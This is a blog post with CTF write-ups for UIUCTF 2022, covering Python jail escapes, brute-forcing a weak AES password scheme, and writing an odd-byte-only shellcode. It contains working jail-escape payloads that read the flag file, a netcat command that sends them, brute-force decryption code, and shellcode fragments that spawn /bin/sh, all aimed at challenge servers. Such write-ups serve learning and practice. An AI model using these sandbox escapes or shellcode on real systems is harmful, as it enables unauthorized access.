UIUCTF 2022 Writeups

Some challenges from another fun CTF I did this summer…

If you’d like to follow along, you can find the source code and prompts for the challenges on the UIUC sigpwny GitHub.

Jail #

Jails refer to shells or execution environments that are restricted in some way, to prevent unauthorized actions like reading sensitive files or accessing other network services. Jail CTF challenges are about exploiting a bug in the jail configuration that lets you read sensitive files (the flag).

safepy #

This is simply an evaluating the user input with a couple of restrictions. I tried reading the code with:

print(open("main.py").read()) or x*x*x

And, after a couple attempts at looking around the system with __import__("os"), I found the flag:

print(open("/flag").read()) or x*x*x

I was testing and sending the payloads like this:

echo 'print(open("/flag").read()) or x*x*x'| nc safepy.chal.uiuc.tf 1337 -v

A Horse with No Names #

The source code is provided for this challenge. I also know that ‘A Horse with No Neighs’ was a challenge released to fix a unintended solution with this challenge.

The primary restriction on your execution payload is that you cannot have more than 4 consecutive letters at the beginning of the string. The difference between this challenge and Neighs is that in Neighs you cannot have 4 consecutive characters ever. The bug here was that they used re.match instead of re.search. Also, you can only have <= 4 unique special characters.

It executes your filtered input using

eval(compile(horse, "<horse>", "eval").replace(co_names=()))

I started debugging what co_names really meant. We can’t use anything that has a co_name, because it’s overwritten.

compile('''print()  and __import__("os") + (lambda x: x)''', "<horse>","eval").co_names

Interestingly, both print and __import__ have co_names, but lambda does not. Also, any co_name within a function (the lambda context) does not count as a function. That means, you can execute code like*


To read the flag, I attempt:


But running this reminded me of the special character limitation. This has 6: (,),:,',/,.

I figured, if I could eval some sort of encoded string, I should be able to do this. This reminded me of ‘My First Calculator’ from BCACTF ‘22. After iterating through a ton of different possible options, I settled on using chr. That would leave me with the special characters (,),: for just getting to the lambda, and + for joining together the chr outputs.

I can encode any arbitrary into the chr(decimal representation)+chr(next…) form by using this python loop

ss = '''open('/flag.txt').read()'''
for i in ss: print(f'chr({ord(i)})+', end='')

Assembling to:

s = "(lambda:eval(chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)))()"

I put in that payload and got the flag! .
no no I did not. I got out:

['l', 'n', '_', 'a',  
'a', 'r', 'h', 'w', 'e', 't', 'b', 'a', 'n', '_', 'y', 'f', '{', '_', 'a', 'e', 'i', 'l', 'i', 't', 'c', 'a', 'a'  
, 'f', '_', 'd', 'a', 's', 'm', 't', 'e', 'u', 'r', 'i', 'l', '\n', 'p', 'a', 'a', 'm', 'k', 'i', 'd', 'e', 't',  
's', 'o', 'e', 'y', 'i', 'p', 'h', 'a', 'e', '_', 't', 'c', 'g', '_', 'n', 'l', '_', 'h', 'c', 'v', 'd', 'o', '_'  
, '_', 'y', 'n', '_', 'p', 't', 'l', 'a', 'c', 'i', 'e', '_', 't', '}', 'b', '_', 'i', 'o', 'n', 'c', 'p', 'n', '  
_', 'h', 'a', 'y', 'u']

Which joins to:


Wut? Is there a second step of encoding? Did I do something wrong? I checked the source code and realized…

discovery = list(eval(compile(horse, "<horse>", "eval").replace(co_names=())))


That’s dumb. At least the fix is a little straightforward. I encoded the payload

exec('random.shuffle=lambda x:x') or open('/flag.txt').read()

and sent the encoded payload. And I got the flag!

*Note: I’m writing these payloads from memory, they might not work exactly as written, but work to convey the concept of what I did.

Crypto #

Military grade encryption #

Pretty basic challenge here, the key takeaway is that the password that starts up the encryption algorithm only has 6 digits. That means there are only a million combinations. We also don’t know which bit size they payload uses, but there are only 4 options, so still only 1 million brute forces. I did a quick test and found that it was progressing fast enough in just Python to be able to brute force the whole keyspace in a few hours.

I wrote a program matching their encrypt program that then brute forced all combinations from 000000 to 999999.

def custom_decrypt(data, password, keysize):
        data = b64decode(data)
        def _gen_key(password):
                key = password
                for i in range(1000):
                        key = MD5(key)
                return key
        key = bytes_to_long(_gen_key(password))
        ciphers = [
                AES.new(KEY_PAD(long_to_bytes((key*(i+1)) % 2**128)) ,AES.MODE_ECB) for i in range(0, keysize, 16)
        pt_blocks = [
                data[i:i+16] for i in range(0, len(data), 16)
        return b"".join([cipher.decrypt(pt_block) for pt_block, cipher in zip(pt_blocks, cycle(ciphers))])

if __name__ == '__main__':
        keysize = int(sys.argv[1])
        data = open('flag.enc').read()
        for i in range(0,999999+1):
                ans = custom_decrypt(data, str(i).zfill(6).encode(), keysize)
                if b'uiuctf' in ans: print(ans)
                if not i%1000:
                        print(keysize, i)

And then I ran 4 instances of it with all the key sizes, and got

$ python cipher.py 256
256 0  
256 1000  
256 2000
256 196000  
256 197000  

Pwn #

Odd Shell #

The provided binary is not stripped, so I have ghidra decompile it (Ghidra is awesome!)

while( true ) {
  if (local_20 <= local_18) {
    (*(code *)0x123412340000)();
    return 0;
  if ((*(byte *)(local_18 + 0x123412340000) & 1) == 0) break;
  local_18 = local_18 + 1;

Key takeaways:

  1. It reads and then executes shellcode.
  2. The shellcode is at a fixed address.
  3. If (any byte & 1) == 0, i.e. if any byte of the payload is even, the shellcode is not executed. Odd Shell, that name makes sense now.


  1. Write your shellcode, then somehow XOR mask it. You’ll have to loop over the (fixed) shellcode bytes and XOR them while shifting a mask. If the masking code is written, this makes the rest of the problem really easy.
  2. Manually write basic shellcode, then modify it to not use any odd bytes.

I chose option 2 later, because 1 seemed really hard and involved multiple steps. Although, for a larger exploitation routine, it would be far more efficient to have self-masking shellcode. First, to set up the build environment, I looked into various nasm build tutorials, and after a bunch of trial and error, settled on this build setup.

shellcode.asm contained my assembly code. -fbin converts the shellcode to raw (x86_64) machine code, not a full executable binary format. -l /dev/stdout outputs the list file, which is a human-readable file mapping each line of your assembly to the output in hex. I monitored the compiled version of my assembly live by running the following in another shell.

watch 'nasm -fbin shellcode.asm -l /dev/stdout'

The list file is key in looking at which commands result in odd or even bytes.

I started with some standard shellcode from shell-storm.org, and started modifying it.

It took a lot of iteration, but this is what I transformed that into

  1. RCX contained the location to the shellcode There are various ways to escape an even byte. XOR it with 1 (i.e. increment), decrement it or increment it (and do the opposite in the code of course).
dec dword [ rcx + 0xb ] ; unless overflow dword fine  
dec dword [ rcx + 0xd ] ; unless overflow dword fine  
db      0x49, 0x31, 0xD3 ; 4831D2 xor     rdx, rdx  

for example, xor rdx, rdx leads to 4831D2h, but 48h and D2h would be blocked by the program filter. So, I store 4931D3 in that location and decrement two of the bytes.

To store the string //bin/sh, I generate an XOR mask, however, just to see the other technique in action. The following section generates the mask using or and shl.

xor r9,r9;
or r9, 1;
shl r9, 7
shl r9, 1
or r9, 1;
shl r9,23;
shl r9,1;
or r9, 1;
shl r9,15;
shl r9,1;
or r9, 1;
shl r9,7;
shl r9,1;
; effectively: xor rbx, r9;

After that, I used the same dec [ rcx + <offset>] technique to escape any other instructions when needed, while following the overall template of the shellcode from shell-storm.org.

You can find my full shellcode (comments and all) here.

Overall, though I had limited time to work on it, UIUCTF was a great opportunity with a lot of challenging problems! Thanks to the team at UIUC that made it possible!


comments loading...